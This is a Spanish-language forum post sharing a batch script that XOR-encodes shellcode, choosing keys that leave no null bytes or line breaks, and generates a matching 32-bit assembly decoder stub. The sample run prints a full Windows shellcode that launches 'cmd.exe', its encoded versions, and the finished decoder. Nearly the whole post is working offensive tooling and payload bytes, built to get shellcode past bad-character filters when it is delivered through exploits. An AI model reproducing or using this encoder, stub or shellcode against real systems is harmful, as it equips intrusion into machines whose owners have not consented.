[Batch] Codificador de shellcodes

[lShadowl]

Referencia

Código [Seleccionar] Expandir


:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
:: -Utiliza el metodo xor para cifrar.
:: -Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
:: -Identifica la existencia de bytes nulos y saltos de linea.
:: -Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
:: -Tama?o maximo de la shellcode de entrada: 61423 bytes
:: -Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^> Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^> Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^> Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
if !errorlevel!==0 (echo =^<  %%a encontrado con: xor 0x%xor_value%
goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^> Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo jmp short sc_data
echo decode_routine:
echo   pop ebx          
echo xor ecx,ecx
echo mov cx, 0x%hex: =%
echo sub cx, 0x1010
echo decode_loop:
echo xor byte [ebx], 0x%xor_value%
echo inc ebx
echo loop decode_loop
echo jmp short shellcode
echo sc_data:
echo call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<
goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF

El codigo esta bastante entendible con etiquetas explicativas y los mensajes de salida del proceso.

Aqui una captura de salida del script trabajando:

=Shellcode original:

\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31

\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74

\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38

\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0

\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff

\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00
=> Codificando Opcodes (xor 0x10)...
=Shellcode codificada:

\xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f\xa7\x5a\x36\x21\xef\x21

\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64

\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\xd1\xdf\x1d\x11\xd7\x28

\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\

x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\x21\x9b\x7f\x97\xef\

xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\x30\x10
=> Moviendo shellcode codificada a sc.shellcode...
=> Buscando bytes nulos y saltos de linea en sc.shellcode...
=<  \x00 encontrado con: xor 0x10
=> Codificando Opcodes (xor 0x11)...
=Shellcode codificada:

\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20

\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65

\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29

\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\

x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\

xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11
=> Moviendo shellcode codificada a sc.shellcode...
=> Buscando bytes nulos y saltos de linea en sc.shellcode...
=> Creando codigo fuente del stub decodificador...
****************10c111_decoder.asm********
[BITS 32]
global ini
ini:
   jmp short sc_data      
decode_routine:
   pop ebx             
   xor ecx,ecx         
   mov cx, 0x10c1
   sub cx, 0x1010         
decode_loop:
   xor byte [ebx], 0x11      
   inc ebx            
   loop decode_loop         
   jmp short shellcode      
sc_data:
   call decode_routine         
shellcode:
*****************************************
=Codigo del decodificador guardado en 10c111_decoder.asm

>Proceso finalizado<

Saludos!